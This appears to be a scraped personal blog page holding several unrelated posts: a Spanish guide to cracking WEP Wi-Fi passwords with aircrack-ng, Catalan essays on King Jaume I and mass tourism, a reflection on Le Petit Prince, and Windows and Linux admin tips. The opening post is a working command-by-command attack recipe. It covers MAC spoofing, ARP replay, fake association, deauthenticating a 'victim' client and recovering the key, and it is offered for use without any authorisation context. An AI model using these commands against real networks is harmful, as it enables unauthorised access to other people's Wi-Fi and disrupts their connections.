Manual crack WEP passwords con IWL3945 !

Este manual es para crackear redes solo con WEP utilizando una tarjeta wireles Intel Wireless 3945
1-Instalar Driver Monitor

sudo apt-get install build-essential
sudo apt-get install libssl-dev
wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
tar -xjf ipwraw-ng*
cd ipwraw-ng
make
sudo make install
sudo make install_ucode
echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw
sudo depmod -ae

Con esto, no solo instalaremos el driver de monitor, sino que deshabilitaremos el autoinicio de este driver cada vez que reiniciemos, con el modo monitor, no te puedes conectar a una red wifi.

Cada vez que queramos encontrar una contraseña WEP tendremos que habilitar este driver, si tenemos que conectarnos a una red, o reiniciamos la maquina, o deshabilitamos el driver monitor.

2-Instalación AirCrack:

wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc2.tar.gz
tar -zxvf aircrack-ng-1.0-rc2.tar.gz
cd aircrack-ng-1.0-rc2
make
make install

Scripts: (Tengo un par de scripts que habilitan/deshabilitan el driver y modifican la MAC con una aleatoria)

Cargar driver:

#!/bin/bash
rmmod iwl3945
modprobe ipwraw
sleep 2
iwconfig wifi0 rate 1M

Descargar driver:

#!/bin/bash
rmmod ipwraw ; modprobe iwl3945

Modificar MAC:

#!/bin/bash
ifconfig wifi0 down
macchanger -r wifi0
ifconfig wifi0 up
macchanger –show wifi0 | grep -v Current

3-Descubrir contraseña WEP:

Habilitamos el modo monitor:

sudo modprobe -r ipw3945
sudo modprobe ipwraw
sudo ifconfig wifi0 up
sudo iwconfig wifi0 rate 1M

Con esto cargamos el driver y configuramos la tarjeta con mayor sensibilidad.

Nota: Los pasos del 1 al 5 los haremos a la vez, con una pantalla de terminal para cada una, ya que necesitamos la información de todas para poder continuar con el siguiente punto.

1-Primero vemos que redes tenemos cerca:

airodump-ng wifi0

Vemos que tenemos solo una red WEP, lo intentaremos con esta. “Jazztel Wireless”

2-Capturamos los paquetes de esta red:

airodump-ng –bssid _MAC_ACCES_POINT_ -b abg -w Fichero_CAB –channel Canal_wifi Interfaz

Ahora ya estamos capturando paquetes. Necesitamos entre 5000 y 10000 paquetes DATA, los Beacons, ni caso.

3-Ataque ARP:

aireplay -3 -b _MAC_ACCES_POINT_ -h NUESTRA_MAC interfaz

4-Asociación falsa

aireplay -1 10 -a _MAC_ACCES_POINT_  -e Nombre_Red_Wifi -h NUESTRA_MAC interfaz

El parametro 10 es la cantidad de veces que lo intentaremos. Ahora ya vemos ver que estamos asociados al AAPP:

(Si hay otra persona conectada, podemos desconectarle, para forzar una nueva conexión y asi crear paquetes ARP.

5-Desasociación de un cliente:

aireplay-ng -0 10 -a _MAC_ACCES_POINT_ -c MAC_PC_VICTIMA wifi0

Veremos que empieza a perder paquetes

6-Cuando ya tenemos mas de 5 o 10 mil paquetes DATA, ya podemos crackear la clave WEP.

aircrack-ng Fichero_CAB

Ya tenemos la cotraseña, nos la muestra en HEX y ASCII, particularmente solo uso la ASCII. Si nos faltan paquetes DATA nos dira que lo intentemos con mas.

Advertisements

Catalunya, abans i després del rei Jaume I el Conqueridor !

Catalunya, abans i després del rei Jaume I el Conqueridor

Aquest passat mes de febrer varem celebrar el 800 aniversari del naixement del rei Jaume I el Conqueridor. Per tota Catalunya s’han celebrat actes de commemoració i fins i tot s’han publicat alguns llibres aprofitant la celebració. És evident, doncs, que la història del rei Jaume és providencial per entendre la història de Catalunya, un país que malgrat tot, ha conservat la seva identitat com a nació, una llengua i una cultura que durant dos segles va ser hegemònica al Mediterrani.

Però abans de tot hem de saber com, quan i qui varen constituir aquesta unitat que avui dia coneixem com Catalunya. Durant els segles VIII i IX, l’imperi Franc ostentava el poder polític, econòmic i militar al centre d’Europa. Carlemany es va fer coronar l’any 800 com a emperador del nou Imperi Romà. La regió de Catalunya formava part, des de la conquesta per part de Lluís el Pietós, rei d’Aquitània, dels dominis dels francs. L’emperador franc, Carlemany, per defensar el seu imperi dels atacs musulmans va crear la Marca Hispànica que organitzaria el territori en comptats independents. És en aquest moment de la història quan els catalans comencen a tenir una mateixa identitat, una consciència col·lectiva. Els comptats de Barcelona, Girona-Besalú, Osona, Empúries-Perelada, Rosselló-Vallespir, Urgell-Cerdanya, Pallars i Ribagorça van ser el que podem anomenar com els primers comptats catalans. No deixa de ser curiós que els comptats donaven certa potestat en el lideratge a de Barcelona.

Guifré el Pilós (?-897) va ser nomenat compte d’Urgell, i més tard rebria tres comptats més, entre d’ells el comptat de Barcelona on va crear la Casa Comptal, el primer òrgan d’autogovern de Catalunya. Això ho vam poder aconseguir aprofitant la feblesa dels regnes francs i la creixent ambició expansiva dels catalans. A més, Guifré no va esperar a que els reis francs li busquessin un successor, sinó que ell mateix va adjudicar l’herència. Però va cometre un greu error: un cop havia aconseguit la unitat entre els comptats catalans governats des de Barcelona, va repartir els comptats entre els seus fills, i els comptats es van tornar a disgregar, tot i que hi havia sentiment d’unitat. La monarquia Carolingia restava impotent davant la creixença dels comptats catalans, i sobretot la creixent sobirania que adoptava Barcelona. Després de Guifré es van succeir els descendents, que d’una manera o altre intentaven tornar a la unitat que el compte havia creat. Entre ells destaquen Ramon Borrell, Berenguer Ramon, i la saga de Ramon Berenguer. Ja en aquests temps, l’economia catalana guanyava pes gràcies al comerç, i moltes ciutats creixien a un ritme constant, si a això hi afegim les bones collites que van provocar un ascens demogràfic important. Per acabar-ho d’adobar, el Regne d’Aragó va quedar sense descendència, i la filla del germà de rei difunt, Peronella, va ser casada amb Ramon Berenguer IV, i el fill d’aquests va heretar la Corona d’Aragó –Regne d’Aragó i Comptats Catalans–.

Ara succeeix un dels moments crítics de la nostra història. Catalunya tenia fixada la vista en les terres occitanes, però la creixença càtara va provocar que el Papa organitzés una croada, encapçalada per Simó de Montfort. El rei Pere d’Aragó, volent defensar les terres occitanes però sense barallar-se amb ningú, va deixar en signe de bona voluntat el seu fill Jaume en custòdia de Simó de Montfort. Això no va evitar, però, la cruel batalla de Muret (1213) on Pere el Catòlic va perdre la vida.

Uns anys abans, però, el rei Pere s’havia casat amb Maria de Montpeller, que havia donat a llum a l’hereu de la corona, l’any 1207. A la mort dels seus pares, Jaume només tenia cinc anys. Amb una infància desgraciadament difícil, va ser criat per la seva mare, que li va deixar en testament totes les possessions i el pes de la corona amb cinc anys, orfe i en mans dels enemics. A la mort de Maria de Montpeller, el Papa va executar el testament i va obligar a Simó de Montfort a retornar el nen a les mans de Guillem de Mont-Rodon, cap de la ordre dels Templers Catalans.

El rei Jaume creixia entre la noblesa, orfe de pares, i poc a poc anava veient que aquests volien arrabassar-li el poder. Jaume, mentrestant era instruït com a rei al Castell de Montsó mentre els regents es disputaven el poder. Just abans de començar la guerra civil entre Sanç d’Aragó i Ferran de Rosselló. Però el petit rei Jaume, amb tan sols nou anys i aconsellat pels Templers, va saber portar el pes de la situació i va prendre el control de la Corona. Acte seguit, els nobles catalans i aragonesos van jurar fidelitat al rei. Uns anys més tard, Jaume fou casat als tretze anys amb Elionor d’Aragó, amb la qual ni tan sols va poder fer, segons les paraules del mateix Jaume “ço que els hòmens han de fer amb llur muller, car no havíem edat”. Es va divorciar el 1229 amb un hereu, Alfons d’Aragó.
En la seva adolescència, el futur Conqueridor va haver de resoldre els problemes entre els seus vassalls, ja que encara s’aprofitaven de la joventut i innocència, del no saber governar del rei. Però aquest, ben assessorat, amb només vint anys va aconseguir imposar-se per fi i acabar les revoltes al territori de la Corona amb la signatura del Tractat d’Alcalà. Ara, amb els nobles controlats, podia dur a terme allò que tenia pensat: la lluita contra els sarrains. Si hem de posar algun apel·latiu que distingeixi al rei Jaume, podríem dir que era sobretot un rei cristià, guerrer i home de paraula. Tant ho era, que per no entrar en controvèrsia amb el Papa, el 1258 va cedir completament les terres occitanes conquerides pels francesos a la Batalla de Muret.
La reconquesta catalana continuava per terres sarraïnes, i gràcies a l’empenta del rei i al coratge dels nobles es varen aconseguir les terres de Terol. Així doncs, amb l’expansió catalana i el gran desenvolupament del comerç marítim, es va creure convenient dominar una de les futures bases comercials del Mediterrani: l’illa de Mallorca. I fou que el 1229, la flota catalana composta per 150 naus sortí del port de Salou en direcció Mallorca que caigué en mans de la Corona. Seguidament fou repoblada per pagesos de l’Empordà, i el més important: es traslladà la cultura i la llengua catalana a les illes.

Els sarrains es trobaven en inferioritat davant l’excel·lència dels catalans, i el rei Jaume rebia tributs de vassallatge per part dels moros de València. Però el rei el que volia era conquerir les terres i annexionar-les a la Corona. Es casà amb Violant d’Hongria el 1235, just abans de la programada reconquesta de València. Amb ajut dels aragonesos aquest cop, el rei va derrotar totes i cada una de les places fortes fins a arribar a les portes de la capital, que va assetjar durant nou intensos mesos. Allà va tenir una disbauxa amb el rei de Castella, que reconqueria des de l’oest, i es va fer amb Xàtiva, ara sota el control de la Corona d’Aragó. El nou Regne de València fou repoblat amb catalans i aragonesos, que van exportar un altra cop la cultura i la llengua.
El 1263, el rei Alfons tingués problemes amb Múrcia i Jaume I, com a aliat de regnes cristians, ajudés a Castella, i un cop resoltes les revoltes va regalar-li el regne un altre cop a Castella sense demanar res a canvi. Aquí tenim un dels exemples de la benevolència, la grandesa i el caràcter pietós del rei Jaume.
Ja a les acaballes del seu regnat, el rei va conformar la que havia de ser la novena croada per conquerir Terra Santa, però les seves naus es van dispersar per les tempestes i va haver de desembarcar i fer enrere l’expedició.
Jaume I va conformar un regne històric, una Corona amb una empenta militar, social, cultural, econòmica i mercantil prou potent perquè els seus successors acabessin d’adobar un imperi mediterrani al què tothom tenia respecte. Catalunya es convertí en els següents anys en una de les principals potències europees. Fou una llàstima que deixés en herència el seu llegat als seus tres fills, la qual cosa va provocar que es tornés a disgregar el poder que havia restat unit. El mateix error que cometé Guifré el Pilós uns segles abans.
Tant és així que la figura de Jaume I és recordada per consolidar l’Estat Català, reformar les Corts i el Consell de Cent, i posar les bases dels Països Catalans amb les incorporacions dels Regnes de València i Mallorca, impulsant una catalanitat que durà fins el 1714.

Idea original de l’articule Jordi Ollé i Lopez
Article sota llicència Creative Commons.
Amb la col·laboració de Osties.com !

Turisme i masses. La ciutat global !

El segle XIX va ser un segle decisiu per a la configuració de la ciutat que coneixem avui dia. El procés d’industrialització va provocar la localització de les fàbriques als recintes urbans, que van originar un creixement de la ciutat, a la vegada que s’accelerava poc a poc el procés del capitalisme que incidia en la societat i la transformava, passant d’un mode de vida rural a l’aglomeració dels barris obrers i les fàbriques. Però aquesta localització de la indústria a les ciutats és si més no, per la facilitat de trobar mà d’obra i una més àmplia comunicació. Poc a poc, el sistema capitalista s’anà consolidant i la propietat privada guanyava terreny a la ciutat.

Durant la primera meitat del segle XX, el capitalisme es continuà expandint i les ciutats van seguir en un continu creixement, ampliant les seves fronteres i construint noves infraestructures gràcies als avenços tecnològics acords amb les necessitats socials i industrials. Tot i que el canvi més substancial és la incisió de la iniciativa privada en el propi sòl de la ciutat, que poc a poc esdevé mercaderia que s’intercanvia a preus lliures fixats per la oferta i la demanda.

Cap als anys 70 del segle XX, el fordisme entra en un estat de crisi, la qual cosa provoca canvis en el model de producció: el consumidor influeix en l’aparició de béns i serveis. Gràcies a l’aparició de l’estat del benestar, la figura del treballador se superposa a la del consumidor, quedant així l’obrer alienat pel sistema capitalista dominat pels diners.1

En la nostra societat actual, la ciutat esdevé l’epicentre de totes les activitats socials, culturals, polítiques i econòmiques més importants. Ha esdevingut el punt de referència de tots aquells fets que configuren el nostre sistema i el nostre model de vida. Així doncs, en la nostra època actual regna la globalització; un fenomen que fa que l’economia mundial s’integri en un sol mercat gràcies a la connectivitat humana, els transports i les telecomunicacions. La societat postmoderna juga amb aquesta economia desmaterialitzada gràcies a la deslocalització de les fàbriques i empreses. Això va comportar un canvi substancial en la visió de les ciutats europees i nord-americanes: van anar desapareixent de forma progressiva aquestes indústries de les grans ciutats mentre que el sud-est asiàtic s’industrialitzà de manera fervent. Al vell continent i els Estats Units brindava una oportunitat al sector terciari que controlava tota aquesta acció globalitzadora del món, mentre ara, sense aquesta activitat industrial, es dedica al sector dels serveis per a produir béns de consum per a la societat. Ara el capital es mou de manera que afecta a la cultura, el turisme i l’oci.2

Les ciutats actuals opten per aquesta transformació i el canvi és notori. És per això que el sistema terciari de serveis, alhora consum i ocupació laboral, juga a transformar la ciutat convertint-la en un paradís acollidor de béns i altres serveis per cridar l’atenció de les masses. Un exemple d’aquest esdeveniment seria la ciutat de Las Vegas, als Estats Units. Enmig del desert s’ha construït una arquitectura-espectacle capaç d’atraure milions de turistes en un sol any, gràcies a la creació d’icones universals que no només han aconseguit atraure turisme pel joc, sinó també per altres activitats productives i fer-ne del seu aeroport un dels més actius del continent.3 Però el turisme de masses respon a diverses necessitats, no només d’oci, sinó també les culturals. Ciutats que s’han convertit en icones culturals gràcies al seu patrimoni, com per exemple Roma o París, són objecte de fluxos turístics massificats, concentrats en els punts més característics. Aquestes ciutats, a més, es nodreixen de l’oferta de serveis i comerços, fent que la urbs es converteixi en una ciutat-espectacle que conviu amb el patrimoni cultural.4 Això comporta que la gent que hi viu en aquestes ciutats se senti incòmoda davant aquest allau de turisme en massa i s’hi sentin desplaçats, a més de perdre aquella autenticitat i singularitat de la ciutat, que s’ha convertit de sobte en un receptor de flux de viatgers.

En els últims anys, però, hi hagut un fenomen també força sorprenent, i és que els països en vies de desenvolupament estan començant a rebre turisme. És el cas de Croàcia, per exemple, que després de la guerra de principis dels anys 90 s’ha aconseguit restablir formant una xarxa turística bastant nodrida d’ofertes. Però no només passa amb aquesta part d’Europa de l’Est, sinó també a països de l’Amèrica del Sud o asiàtics on el turisme floreix de manera sobtada, ja sigui per les bones ofertes econòmiques o per altres tipus de turisme. En aquest últim terme, crec que les ciutats s’han transformat de tal manera, s’han adornat amb aquesta idealització occidental banal que tant fa viatjar a Londres com a Berlín, perquè les masses continuaran fent les seves guies turístiques amb els quatre llocs típics de la ciutat, gastant la resta de temps en botigues de souvenirs i consumint els serveis que pot trobar en la seva mateixa ciutat. És per això que la ciutat queda tematitzada sense donar a conèixer l’extraradi on la gent i viu i treballa, quedant fora dels límits de la ciutat. De tota manera, José Antonio Donaire creu que últimament els canvis socials provoquen una condició invisible en les masses que s’ha substituït per una reivindicació de la singularitat. Aquest és el canvi substancial que planteja la transició del model turístic: la creixent obsolescència de les destinacions que estan dissenyades a partir d’un patró estàndard i la seva substitució per noves destinacions capaces d’oferir unes noves formes singulars i inèdites.5

Si ens parem a pensar en aquesta reflexió de Donaire, ens n’adornem que si és cert que el turisme postfordista està canviant, estem tornant a veure una transició en el model turístic. Roma i París deixaran de ser les ciutats més visitades d’Europa? On conduiran ara els fluxos turístics? Aquestes ciutats tan emblemàtiques tenen el seu propi patrimoni històric i no el poden canviar, sinó que són aquests nous països en vies de desenvolupament els que han de posar-se a la carrera per atraure nous viatgers, trobar la manera -mitjançant el màrqueting i bones ofertes, sobretot- de cercar víctimes turístiques per a créixer econòmicament a base del turisme, a més de les seves altres activitats. Aquest plantejament no deixa de ser una acció d’aquest procés de globalització que vivim en els nostres dies.

BIBLIOGRAFIA CONSULTADA

DEBORD, Guy. La Sociedad del Espectáculo, 1967.
DONAIRE, José A. Turisme Cultural, entre l’experiència i el ritual, Ed. Vitel·la, Girona, 2008.
SOJA, Edward. Six discourses on the Postmetropolis, 1998.

Idea original de l’articule Jordi Ollé i Lopez
Article sota llicència Creative Commons.
Amb la col·laboració de Osties.com !

Le Petit Prince !

La obra de Antoine de Saint-Exupéry es un clásico de la literatura universal. Escrito en 1943 y traducido hoy en día a más de 80 lenguas, es una obra que nos hace experimentar algo más que un simple cuento para niños.

No haré aquí y ahora un resumen del fabuloso cuento del aviador francés, pues supongo (y espero) que todos habéis leído la obra de apenas 100 páginas cuando erais niños. Pues bien, este es el motivo de mi reflexión: yo lo leí hace pocos meses, y tengo veinticinco años y estudios superiores. Ya sé, ya sé. Es como vivir sin haber probado nunca el pan con tomate. Tuve la sensación realmente de estar leyendo al principio un cuento para niños. Pero a medida que el Principito narra su historia a través de los planetas, después de abandonar su asteroide B-612 y a su rosa la lectura se vuelve más intensa. No puedo ni imaginar lo que le costó al Principito abandonar su rosa. El viaje siguiente por todos los planetas para encontrarse al rey, al vanidoso, al borracho y a los otros personajes, nos hace ver de forma metafórica pero muy claramente como el mundo adulto es una jodida mierda si no tienes autocontrol y conciencia (entre otras). Las cosas importantes en la vida no son banalidades, como nos enseñan los personajes, sino que es algo más que está escondido dentro de nosotros mismos y que cuesta mucho sacar al exterior. Nos muestra de forma primaria la amistad y el amor, dos conceptos clave de la obra. Digo de forma primaria porque los conceptos están sujetos a la subjetividad del Principito, una mente de niño que es quien protagoniza su propia aventura.

Si recordáis, el pequeño Príncipe abandona su asteroide donde cuida que no crezcan baobabs, limpia los volcanes y luego cuida exclusivamente una rosa. Está todo el día encima de su rosa, la cuida, la mima, le habla, la protege, la alimenta,… en fin, la ama. Pero ella, no le corresponde. Sólo le agradece su buen trato, pero se muestra terca y quejosa, siempre reprochando y pidiendo más atenciones. El Principito, harto de su rosa a la que ama por encima todo, se ve obligado a abandonarla porque no es feliz haciendo lo que hace. Su vida es completa, sí, pero no es correspondido por el amor de su rosa, y por ello decide abandonarlo todo, cambiar su vida y marchar a otro rumbo. Ostras, ¿lo entendéis? Esto es aplicable a muchas cosas que hacemos (o no) en la vida. Y es un cuento para niños…

Si hubiera leído este libro de pequeño, seguramente no hubiera entendido la mitad de los conceptos que aparecen en este cuento. Después, al leerlo de más mayor, me hubiera acordado de aquello que leí, y los recuerdos de haber leído el libro me hubieran llevado a la infancia y a lo que pensé mientras leía. Y seguro que tendría otra sensación. Pero no es así. Lo he leído ahora, y sólo tengo la visión de “El Principito” en versión adulto. No sé qué hubierais preferido, pero yo prefiero la mía.

“Sólo con el corazón se puede ver bien. Lo importante es invisible a los ojos”.

Antoine de Saint-Exupéry, Le Petit Prince

Idea original de l’article Jordi Ollé i Lopez
Article sota llicència Creative Commons.
Amb la col·laboració de Osties.com !

Que servicio usa un Application Pool en IIS 6? !

Fruto de un problema que me he encontrado en el trabajo, he buscado un poquito la manera de ver el servicio que esta usando un Application Pool.

Si tenemos un servidor web con Windows, podemos ver un servicio llamado w3wp.exe, que no es nada mas que el Application Pool que tenemos en el IIS. Muchas veces, fruto de problemas, este servicio empieza a consumir muchos recursos.

Si nos encontramos con este problema, y tenemos varios Aplication Pool, necesitaremos ver que proceso una un Application Pool, o mejor dicho que Application pool esta asignado a un proceso.

Para ver esto, es tan facil como lanzar un script que ya viene con el Windows;

systemrootsystem32iisapp.vbs

Con esto nos mostrará el proceso y el Application Pool.

A partir de aquí, solo queda buscar el raíz del problema.

Aquí tenemos algo de documentación Microsoft

Actualizar software en Windows !

Secunia tiene un programa que analiza el software instalado en tu maquina y mira si hay actualizaciones posibles, si no hay te lo marca como software “end of life”, si hay te permite la descarga directa.

Secunia
Secunia

Con estos parámetros valora la seguridad en tu maquina. No detecta el software de microsoft, pero si el otro (a veces mas difícil de mantener)

100% recomendado.

Su Web

Nvidia en nuevo Kernel !

Aquí estamos de nuevo, para hablar un poquito de la Nvidia 8400M con un nuevo kernel (indistintamente cual sea). Hace poco pase a la versión 2.6.26-1-686. Lógicamente el nuevo kernel hizo trizas mi antiguo driver para Nvidia y me toco reinstalar. Por desgracia (o por suerte) actualizar el kernel y dejarlo todo como antes no es tan simple.

Primero de todo, hice la instalación con un:

apt-get update
apt-get upgrade

Desconozco el motivo, pero me instalo el kernel 2.6.26-1-486. Este kernel es el mismo que tengo ahora (2.6.26-1-686) pero no esta optimizado para Intel. La teoría dice que si ya estas usando el 686 al hacer el upgrade debería instalarte la nueva versión del 686. Finalmente hice un:

apt-get install linux-image-2.6.26-1-686

Luego, si no instalamos los headers, tendremos problemas. Para hacerlo:

apt-get install linux-headers-2.6.26-1-686

Finalmente, al reiniciar, las X no me cargaban. Hice un

./NVIDIA-Linux-x86-177.70-pkg1.run

Previamente descargue el software de aquí:

32bits: Link
64bits: Link